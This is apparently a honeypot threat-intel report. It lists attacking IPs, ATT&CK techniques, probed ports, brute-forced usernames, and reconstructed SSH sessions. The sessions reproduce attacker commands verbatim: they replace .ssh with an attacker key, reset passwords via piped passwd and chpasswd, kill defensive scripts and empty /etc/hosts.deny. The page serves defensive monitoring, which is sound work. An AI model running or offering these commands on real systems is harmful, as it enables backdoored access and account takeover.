Honeypot threat intel

Every address below connected, uninvited, to a honeypot — a machine that exists only to be attacked, running no real service and hosting nothing. Nothing here was reached by mistake, and nothing here is a customer, a visitor or a scan of your own network.

Generated 2026-08-28T21:49:55.458970+00:00. Covering the 75 days up to that moment — an address drops off this page once it has gone that long without a repeat sighting, so every count describes that whole window, not just the most recent generation run. Full data at feed.json / feed.txt.

Found your address here? That usually means a machine on your network is scanning or brute-forcing strangers, often without its owner knowing. To dispute or request removal of an entry, write to me@danielmala.co.

523
sessions
459
login attempts
36
unique IPs (published)
36
recurring IPs
0
malware retrievals (metadata only)
Login attempts per day — peak 459, axis starts at zero
2026-06-152026-08-28

ATT&CK coverage

T1078 — Valid Accounts
13
T1059.004 — Unix Shell
11
T1105 — Ingress Tool Transfer
10
T1595.002 — Active Scanning: Vulnerability Scanning
9
T1033 — System Owner/User Discovery
9
T1053.003 — Scheduled Task/Job: Cron
9
T1057 — Process Discovery
9
T1082 — System Information Discovery
9
T1489 — Service Stop
1
T1222.002 — File and Directory Permissions Modification (Linux/Mac)
1
TechniqueNameIPs observed (of 36 published)
T1078Valid Accounts13
T1059.004Unix Shell11
T1105Ingress Tool Transfer10
T1595.002Active Scanning: Vulnerability Scanning9
T1033System Owner/User Discovery9
T1053.003Scheduled Task/Job: Cron9
T1057Process Discovery9
T1082System Information Discovery9
T1489Service Stop1
T1222.002File and Directory Permissions Modification (Linux/Mac)1

Seen via

How many published IPs each collector contributed to — not a part-to-whole split: an IP touched by more than one collector counts toward each.

access
26
web
5
ports
5

Published IPs

IP, ports, fingerprints and timestamps are directly observed by the sensor. Country and ASN are inferred from a GeoIP database and are routinely wrong for VPN, CDN and cloud ranges; techniques are inferred by pattern-matching the captured commands. Inferred columns are marked ≈ and set in a lighter tone.

IPCountry ≈ASN ≈SightingsClassificationTechniques ≈PortsSSH clientHASSHUser-AgentSeen viaWeb dwellWeb requestsFirst seenLast seen
123.56.11.51CN379632recurring—2222SSH-2.0-libssh_0.7.4——access——2026-08-28T21:28:05.174029+00:002026-08-28T21:29:47.511541+00:00
216.73.217.17US165092recurring————Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)web—22026-08-28T19:43:30.556869+00:002026-08-28T21:10:14.583125+00:00
94.154.43.56NL21950214recurring—2222SSH-2.0-Go4c20a8895324b3c7237a4a6394b42d89—access——2026-08-28T15:07:12.810569+00:002026-08-28T21:09:52.782104+00:00
87.236.176.156GB2112982recurring—2222SSH-2.0-Go16443846184eafde36765c9bab2f4397—access——2026-08-28T20:58:20.284610+00:002026-08-28T20:58:22.494033+00:00
20.29.28.209US80752recurringT1595.0023389 (rdp)———ports——2026-08-28T20:54:02.415786+00:002026-08-28T20:54:22.534904+00:00
172.236.228.193US639495recurring—2222GET / HTTP/1.1, SSH-2.0-Go, \x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x02\x01\x8a\xbf\xcblP\xabU(\x9d\x1e<\\\x0e'E\xb3\x0b\x13\xe7\x9e\x8e\x0d\x0bkkF\x9f\xca\x09=\x00\x00\x1a\xc0/\xc0+\xc0\x11\xc0\x07\xc0\x13\xc0\x09\xc0\x14\xc04e066189c3bbeec38c99b1855113733a—access——2026-08-28T18:20:15.262608+00:002026-08-28T20:38:05.285039+00:00
45.154.244.193SC2100064recurringT10782222SSH-2.0-libssh2_1.11.014b2ddda386a4d1006108ccd231b42fc—access——2026-08-28T16:57:47.979890+00:002026-08-28T20:30:29.029159+00:00
167.94.146.58US3987055recurringT1595.0029200 (elasticsearch)———ports——2026-08-28T19:49:18.972370+00:002026-08-28T19:49:47.612020+00:00
144.172.93.238US149563recurringT1595.002———Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36web5m22026-08-28T17:18:43.812152+00:002026-08-28T19:43:30.544178+00:00
143.244.168.161US140612recurringT1595.002———Mozilla/5.0 (l9scan/2.0.634313e26343e27343e2334313; +https://leakix.net)web<1m302026-08-28T16:37:34.669312+00:002026-08-28T19:43:30.543821+00:00
64.225.75.246NL140612recurringT1595.002———Mozilla/5.0 (l9scan/2.0.634313e26343e27343e2334313; +https://leakix.net)web<1m302026-08-28T16:37:34.321329+00:002026-08-28T19:43:30.543780+00:00
130.12.182.254SI1977692recurringT1595.002———Go-http-client/1.1, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36web—22026-08-28T16:37:37.606821+00:002026-08-28T19:43:30.543695+00:00
185.129.51.20KZ207333123recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T18:40:52.934489+00:002026-08-28T19:39:15.291333+00:00
4.246.61.185US8075124recurringT1033, T1053.003, T1057 +5 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T18:23:01.379187+00:002026-08-28T19:36:16.620102+00:00
222.79.104.148CN1337742recurringT1595.0026379 (redis)———ports——2026-08-28T17:13:45.244580+00:002026-08-28T19:33:26.756540+00:00
37.187.35.26FR16276123recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T18:38:00.375835+00:002026-08-28T19:29:41.239597+00:00
125.124.175.173CN584613recurring—2222———access——2026-08-28T18:31:38.942658+00:002026-08-28T19:01:39.442987+00:00
45.205.1.241BR2159252recurring—2222SSH-2.0-FlowIQ_1.0f25b2be37ce355c4c168981965c843bf—access——2026-08-28T18:57:56.715319+00:002026-08-28T18:58:00.842023+00:00
64.110.90.250KR318988recurring—2222SSH-2.0-paramiko_4.0.0a2de0f306611e0957be704f5b0e35a82—access——2026-08-28T17:59:29.888661+00:002026-08-28T18:53:47.553071+00:00
172.236.228.222US639493recurring—2222SSH-2.0-Go4e066189c3bbeec38c99b1855113733a—access——2026-08-28T18:44:33.675639+00:002026-08-28T18:44:34.852098+00:00
66.132.195.53US3983246recurringT1595.0023389 (rdp)———ports——2026-08-28T17:52:02.373990+00:002026-08-28T17:52:48.487271+00:00
43.157.200.91ID132203146recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T16:16:11.794937+00:002026-08-28T17:28:13.920367+00:00
1.238.106.229KR9318146recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T16:19:24.584677+00:002026-08-28T17:20:38.972239+00:00
165.1.75.106US318984recurring—2222SSH-2.0-paramiko_4.0.0a2de0f306611e0957be704f5b0e35a82—access——2026-08-28T17:19:53.505633+00:002026-08-28T17:19:56.714478+00:00
103.154.63.62VN135905146recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T16:08:05.588304+00:002026-08-28T17:18:00.648081+00:00
90.231.51.54SE3301123recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T16:06:52.418114+00:002026-08-28T17:04:45.546981+00:00
45.59.117.74CH14956123recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T16:05:57.467738+00:002026-08-28T17:03:35.242952+00:00
151.243.11.16AE2096308recurringT1595.0023389 (rdp)———ports——2026-08-28T17:00:55.640040+00:002026-08-28T17:01:03.087179+00:00
211.97.69.110CN483728recurringT1059.004, T10782222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T16:06:24.071366+00:002026-08-28T16:55:53.415053+00:00
130.12.180.51NL20241211recurringT1059.004, T1078, T1105 +1 more2222SSH-2.0-Go16443846184eafde36765c9bab2f4397—access——2026-08-28T16:06:42.134861+00:002026-08-28T16:06:52.028514+00:00
85.239.149.72DE20704310recurringT10782222SSH-2.0-libssh2_1.11.119532158b559096b89b1a5f7d17175b2—access——2026-08-28T15:20:59.725406+00:002026-08-28T16:06:42.062372+00:00
111.228.38.90CN1416797recurring—2222SSH-2.0-libssh2_1.11.119532158b559096b89b1a5f7d17175b2—access——2026-08-28T15:54:50.272547+00:002026-08-28T15:58:43.285695+00:00
151.243.11.8AE2096302recurring—2222SSH-2.0-FlowIQ_1.0f25b2be37ce355c4c168981965c843bf—access——2026-08-28T15:52:22.877045+00:002026-08-28T15:52:26.896086+00:00
85.189.9.227GB2164722recurring—2222———access——2026-08-28T15:44:21.376650+00:002026-08-28T15:44:50.921948+00:00
45.174.162.68BR26885837recurringT1033, T1053.003, T1057 +4 more2222SSH-2.0-libssh_0.9.6f555226df1963d1d3c09daf865abdc9a—access——2026-08-28T15:14:04.320264+00:002026-08-28T15:26:41.089213+00:00
77.248.154.232NL339152recurring—2222———access——2026-08-28T15:06:04.780836+00:002026-08-28T15:07:23.131622+00:00

Ports scanned

How many published IPs touched each port, labeled with the product behind it where the ports collector was able to resolve one.

2222
26
3389 (rdp)
3
9200 (elasticsearch)
1
6379 (redis)
1
PortIPs observed
222226
3389 (rdp)3
9200 (elasticsearch)1
6379 (redis)1

Web paths probed

/.env (dotenv)
5
PathProductCount
/.envdotenv5

Exploit patterns

Confirmed exploitation attempts against the ports collector's exposed services — a closed set of known command/API shapes, never the raw payload.

None in this window.

PatternProductCount

Top usernames attempted

Showing the 20 most frequent of 182 usernames — the complete list is in feed.json.

UsernameSightingsFirst seenLast seen
root1872026-08-28T15:20:06.216034+00:002026-08-28T19:38:02.239233+00:00
345gs5662d34122026-08-28T15:24:18.105128+00:002026-08-28T18:45:45.440210+00:00
ubuntu112026-08-28T16:13:31.722638+00:002026-08-28T19:32:15.526731+00:00
admin112026-08-28T15:20:59.820498+00:002026-08-28T18:57:21.260560+00:00
123472026-08-28T15:07:12.972938+00:002026-08-28T21:09:52.782104+00:00
user142026-08-28T16:13:26.238130+00:002026-08-28T19:04:14.370218+00:00
tlu42026-08-28T16:24:54.100729+00:002026-08-28T17:20:09.927248+00:00
robert42026-08-28T16:37:48.238787+00:002026-08-28T17:19:25.473142+00:00
user42026-08-28T15:32:18.577758+00:002026-08-28T16:14:18.760163+00:00
ftpuser32026-08-28T16:24:42.120036+00:002026-08-28T19:26:29.268780+00:00
test32026-08-28T16:54:02.197513+00:002026-08-28T19:22:53.241315+00:00
celeryuser32026-08-28T16:20:33.178007+00:002026-08-28T16:22:25.362167+00:00
oracle22026-08-28T18:40:07.256011+00:002026-08-28T19:35:35.374798+00:00
dev22026-08-28T19:31:41.801941+00:002026-08-28T19:34:42.102970+00:00
jason22026-08-28T16:17:37.808093+00:002026-08-28T19:25:16.694425+00:00
dmdba22026-08-28T16:42:40.152751+00:002026-08-28T19:12:31.553535+00:00
martin22026-08-28T18:45:44.498911+00:002026-08-28T18:45:46.676179+00:00
bitrix22026-08-28T16:27:27.068639+00:002026-08-28T18:44:36.489149+00:00
claro22026-08-28T18:43:24.058150+00:002026-08-28T18:43:28.480128+00:00
adminx22026-08-28T16:33:04.354762+00:002026-08-28T17:28:13.920367+00:00

Top commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
13
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
12
lscpu | grep Model
12
whoami
12
uname -a
12
uname
12
top
12
cat /proc/cpuinfo | grep model | grep name | wc -l
12
uname -m
12
w
12
crontab -l
12
ls -lh $(which ls)
12
CommandCount
cd ~; chattr -ia .ssh; lockr -ia .ssh13
df -h | head -n 2 | awk 'FNR == 2 {print $2;}'12
lscpu | grep Model12
whoami12
uname -a12
uname12
top12
cat /proc/cpuinfo | grep model | grep name | wc -l12
uname -m12
w12
crontab -l12
ls -lh $(which ls)12
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'12
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'12
cat /proc/cpuinfo | grep name | wc -l12
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]12
echo "martin123\n44vBODWen1FP\n44vBODWen1FP\n"|passwd1
echo -e "martin123\n44vBODWen1FP\n44vBODWen1FP"|passwd|bash1
echo "claro\nwYIulHL6eGnO\nwYIulHL6eGnO\n"|passwd1
echo -e "claro\nwYIulHL6eGnO\nwYIulHL6eGnO"|passwd|bash1

Malware retrieved (URL + SHA-256 only — never the sample) no malware retrieved

URL requestedSHA-256Times seenFamilyIntel source

Notable sessions

A reconstructed timeline for the most interesting sessions on already-published IPs (a malware download first, then technique breadth, then recency) — usernames only, never a password.

4.246.61.185 — T1033, T1053.003, T1057, T1059.004, T1078, T1082, T1489 (2026-08-28T18:28:32.990213+00:00 → 2026-08-28T18:28:50.089740+00:00, <1m)
  1. logged in as root
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo "root:[redacted]"|chpasswd|bash
  6. ran rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
37.187.35.26 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T18:45:44.498911+00:00 → 2026-08-28T18:45:53.474516+00:00, <1m)
  1. logged in as martin
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "martin123\n44vBODWen1FP\n44vBODWen1FP"|passwd|bash
  6. ran echo "martin123\n44vBODWen1FP\n44vBODWen1FP\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
185.129.51.20 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T18:43:24.058150+00:00 → 2026-08-28T18:43:43.559340+00:00, <1m)
  1. logged in as claro
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "claro\nwYIulHL6eGnO\nwYIulHL6eGnO"|passwd|bash
  6. ran echo "claro\nwYIulHL6eGnO\nwYIulHL6eGnO\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
43.157.200.91 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T17:20:03.104205+00:00 → 2026-08-28T17:20:27.673579+00:00, <1m)
  1. logged in as tlu
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "tlu\nX1y4apQmoH94\nX1y4apQmoH94"|passwd|bash
  6. ran echo "tlu\nX1y4apQmoH94\nX1y4apQmoH94\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
1.238.106.229 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T16:27:21.325331+00:00 → 2026-08-28T16:27:47.296743+00:00, <1m)
  1. logged in as admin
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "1qaz@WSX3edc\n1rP6zwmBK33t\n1rP6zwmBK33t"|passwd|bash
  6. ran echo "1qaz@WSX3edc\n1rP6zwmBK33t\n1rP6zwmBK33t\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
1.238.106.229 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T16:24:54.100729+00:00 → 2026-08-28T16:25:20.422939+00:00, <1m)
  1. logged in as tlu
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "tlu\ncn6WjdMI2BdW\ncn6WjdMI2BdW"|passwd|bash
  6. ran echo "tlu\ncn6WjdMI2BdW\ncn6WjdMI2BdW\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
43.157.200.91 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T16:23:14.863917+00:00 → 2026-08-28T16:23:41.890128+00:00, <1m)
  1. logged in as admin
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "1qaz@WSX3edc\nIMI9zq7fVcuC\nIMI9zq7fVcuC"|passwd|bash
  6. ran echo "1qaz@WSX3edc\nIMI9zq7fVcuC\nIMI9zq7fVcuC\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
103.154.63.62 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T16:22:18.185494+00:00 → 2026-08-28T16:22:45.496634+00:00, <1m)
  1. logged in as celeryuser
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "celeryuser\n3loHfAL1J1SV\n3loHfAL1J1SV"|passwd|bash
  6. ran echo "celeryuser\n3loHfAL1J1SV\n3loHfAL1J1SV\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
103.154.63.62 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T16:18:21.780982+00:00 → 2026-08-28T16:18:47.016057+00:00, <1m)
  1. logged in as eagle
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "123456\nherwf6xDKrFb\nherwf6xDKrFb"|passwd|bash
  6. ran echo "123456\nherwf6xDKrFb\nherwf6xDKrFb\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
90.231.51.54 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T16:16:46.546408+00:00 → 2026-08-28T16:16:57.176732+00:00, <1m)
  1. logged in as sonu
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "sonu123\nixEn9KGL5LiI\nixEn9KGL5LiI"|passwd|bash
  6. ran echo "sonu123\nixEn9KGL5LiI\nixEn9KGL5LiI\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
45.59.117.74 — T1033, T1053.003, T1057, T1059.004, T1078, T1082 (2026-08-28T16:13:26.238130+00:00 → 2026-08-28T16:13:40.798990+00:00, <1m)
  1. logged in as user1
  2. ran cd ~; chattr -ia .ssh; lockr -ia .ssh
  3. ran cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0…[truncated]
  4. ran cat /proc/cpuinfo | grep name | wc -l
  5. ran echo -e "1234qwer\njkSOHbmQQVQ6\njkSOHbmQQVQ6"|passwd|bash
  6. ran echo "1234qwer\njkSOHbmQQVQ6\njkSOHbmQQVQ6\n"|passwd
  7. ran cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
  8. ran free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
  9. ran ls -lh $(which ls)
  10. ran crontab -l
  11. ran w
  12. ran uname -m
  13. ran cat /proc/cpuinfo | grep model | grep name | wc -l
  14. ran top
  15. ran uname
  16. ran uname -a
  17. ran whoami
  18. ran lscpu | grep Model
  19. ran df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
